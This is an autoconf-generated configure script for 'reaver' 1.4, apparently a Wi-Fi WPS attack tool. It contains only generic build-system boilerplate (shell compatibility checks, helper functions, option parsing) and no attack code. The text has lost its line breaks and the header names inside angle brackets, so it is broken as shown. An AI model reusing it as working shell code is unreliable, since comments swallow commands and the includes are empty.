:) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test "x$CONFIG_SHELL" = x; then as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi " as_required="as_fn_return () { (exit \$1); } as_fn_success () { as_fn_return 0; } as_fn_failure () { as_fn_return 1; } as_fn_ret_success () { return 0; } as_fn_ret_failure () { return 1; } exitcode=0 as_fn_success || { exitcode=1; echo as_fn_success failed.; } as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : else exitcode=1; echo positional parameters were not saved. fi test x\$exitcode = x0 || exit 1" as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 test \$(( 1 + 1 )) = 2 || exit 1" if (eval "$as_required") 2>/dev/null; then : as_have_required=yes else as_have_required=no fi if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR as_found=false for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. as_found=: case $as_dir in #( /*) for as_base in sh bash ksh sh5; do # Try only shells that exist, to save several forks. as_shell=$as_dir/$as_base if { test -f "$as_shell" || test -f "$as_shell.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : CONFIG_SHELL=$as_shell as_have_required=yes if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : break 2 fi fi done;; esac as_found=false done $as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : CONFIG_SHELL=$SHELL as_have_required=yes fi; } IFS=$as_save_IFS if test "x$CONFIG_SHELL" != x; then : # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV export CONFIG_SHELL exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} fi if test x$as_have_required = xno; then : $as_echo "$0: This script requires a shell more modern than all" $as_echo "$0: the shells that I found on your system." if test x${ZSH_VERSION+set} = xset ; then $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" $as_echo "$0: be upgraded to zsh 4.3.4 or later." else $as_echo "$0: Please tell bug-autoconf@gnu.org about your system, $0: including any error possibly output before this $0: message. Then install a modern shell, or manually run $0: the script under such a shell if you do have one." fi exit 1 fi fi fi SHELL=${CONFIG_SHELL-/bin/sh} export SHELL # Unset more variables known to interfere with behavior of common tools. CLICOLOR_FORCE= GREP_OPTIONS= unset CLICOLOR_FORCE GREP_OPTIONS ## --------------------- ## ## M4sh Shell Functions. ## ## --------------------- ## # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error "cannot create directory $as_dir" } # as_fn_mkdir_p # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith # as_fn_error ERROR [LINENO LOG_FD] # --------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with status $?, using 1 if that was 0. as_fn_error () { as_status=$?; test $as_status -eq 0 && as_status=1 if test "$3"; then as_lineno=${as_lineno-"$2"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $1" >&$3 fi $as_echo "$as_me: error: $1" >&2 as_fn_exit $as_status } # as_fn_error if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits as_lineno_1=$LINENO as_lineno_1a=$LINENO as_lineno_2=$LINENO as_lineno_2a=$LINENO eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) sed -n ' p /[$]LINENO/= ' <$as_myself | sed ' s/[$]LINENO.*/&-/ t lineno b :lineno N :loop s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ t loop s/-\n.*// ' >$as_me.lineno && chmod +x "$as_me.lineno" || { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensitive to this). . "./$as_me.lineno" # Exit status is that of the last command. exit } ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` # # Initializations. # ac_default_prefix=/usr/local ac_clean_files= ac_config_libobj_dir=. LIBOBJS= cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= # Identity of this package. PACKAGE_NAME='reaver' PACKAGE_TARNAME='reaver' PACKAGE_VERSION='1.4' PACKAGE_STRING='reaver 1.4' PACKAGE_BUGREPORT='' PACKAGE_URL='' # Factoring default headers for most tests. ac_includes_default="\ #include #ifdef HAVE_SYS_TYPES_H # include #endif #ifdef HAVE_SYS_STAT_H # include #endif #ifdef STDC_HEADERS # include # include #else # ifdef HAVE_STDLIB_H # include # endif #endif #ifdef HAVE_STRING_H # if !defined STDC_HEADERS && defined HAVE_MEMORY_H # include # endif # include #endif #ifdef HAVE_STRINGS_H # include #endif #ifdef HAVE_INTTYPES_H # include #endif #ifdef HAVE_STDINT_H # include #endif #ifdef HAVE_UNISTD_H # include #endif" ac_subst_vars='LTLIBOBJS LIBOBJS target EGREP GREP CPP OBJEXT EXEEXT ac_ct_CC CPPFLAGS LDFLAGS CFLAGS CC target_alias host_alias build_alias LIBS ECHO_T ECHO_N ECHO_C DEFS mandir localedir libdir psdir pdfdir dvidir htmldir infodir docdir oldincludedir includedir localstatedir sharedstatedir sysconfdir datadir datarootdir libexecdir sbindir bindir program_transform_name prefix exec_prefix PACKAGE_URL PACKAGE_BUGREPORT PACKAGE_STRING PACKAGE_VERSION PACKAGE_TARNAME PACKAGE_NAME PATH_SEPARATOR SHELL' ac_subst_files='' ac_user_opts=' enable_option_checking ' ac_precious_vars='build_alias host_alias target_alias CC CFLAGS LDFLAGS LIBS CPPFLAGS CPP' # Initialize some variables set by options. ac_init_help= ac_init_version=false ac_unrecognized_opts= ac_unrecognized_sep= # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. # (The list follows the same order as the GNU Coding Standards.) bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datarootdir='${prefix}/share' datadir='${datarootdir}' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' includedir='${prefix}/include' oldincludedir='/usr/include' docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' infodir='${datarootdir}/info' htmldir='${docdir}' dvidir='${docdir}' pdfdir='${docdir}' psdir='${docdir}' libdir='${exec_prefix}/lib' localedir='${datarootdir}/locale' mandir='${datarootdir}/man' ac_prev= ac_dashdash= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval $ac_prev=\$ac_option ac_prev= continue fi case $ac_option in *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; *) ac_optarg=yes ;; esac # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_dashdash$ac_option in --) ac_dashdash=yes ;; -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=*) datadir=$ac_optarg ;; -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ | --dataroo | --dataro | --datar) ac_prev=datarootdir ;; -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) datarootdir=$ac_optarg ;; -disable-* | --disable-*) ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=no ;; -docdir | --docdir | --docdi | --doc | --do) ac_prev=docdir ;; -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) docdir=$ac_optarg ;; -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ac_prev=dvidir ;; -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) dvidir=$ac_optarg ;; -enable-* | --enable-*) ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=\$ac_optarg ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ac_prev=htmldir ;; -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ | --ht=*) htmldir=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localedir | --localedir | --localedi | --localed | --locale) ac_prev=localedir ;; -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) localedir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst | --locals) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ac_prev=pdfdir ;; -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) pdfdir=$ac_optarg ;; -psdir | --psdir | --psdi | --psd | --ps) ac_prev=psdir ;; -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) psdir=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=\$ac_optarg ;; -without-* | --without-*) ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=no ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) as_fn_error "unrecognized option: \`$ac_option' Try \`$0 --help' for more information." ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. case $ac_envvar in #( '' | [0-9]* | *[!_$as_cr_alnum]* ) as_fn_error "invalid variable name: \`$ac_envvar'" ;; esac eval $ac_envvar=\$ac_optarg export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` as_fn_error "missing argument to $ac_option" fi if test -n "$ac_unrecognized_opts"; then case $enable_option_checking in no) ;; fatal) as_fn_error "unrecognized options: $ac_unrecognized_opts" ;; *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; esac fi # Check all directory arguments for consistency. for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ datadir sysconfdir sharedstatedir localstatedir includedir \ oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ libdir localedir mandir do eval ac_val=\$$ac_var # Remove trailing slashes. case $ac_val in */ ) ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` eval $ac_var=\$ac_val;; esac # Be sure to have absolute directory names. case $ac_val in [\\/$]* | ?:[\\/]* ) continue;; NONE | '' ) case $ac_var in *prefix ) continue;; esac;; esac as_fn_error "expected an absolute directory name for --$ac_var: $ac_val" done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe $as_echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used." >&2 elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null ac_pwd=`pwd` && test -n "$ac_pwd" && ac_ls_di=`ls -di .` && ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || as_fn_error "working directory cannot be determined" test "X$ac_ls_di" = "X$ac_pwd_ls_di" || as_fn_error "pwd does not report name of working directory" # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then the parent directory. ac_confdir=`$as_dirname -- "$as_myself" || $as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_myself" : 'X\(//\)[^/]' \| \ X"$as_myself" : 'X\(//\)$' \| \ X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_myself" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ 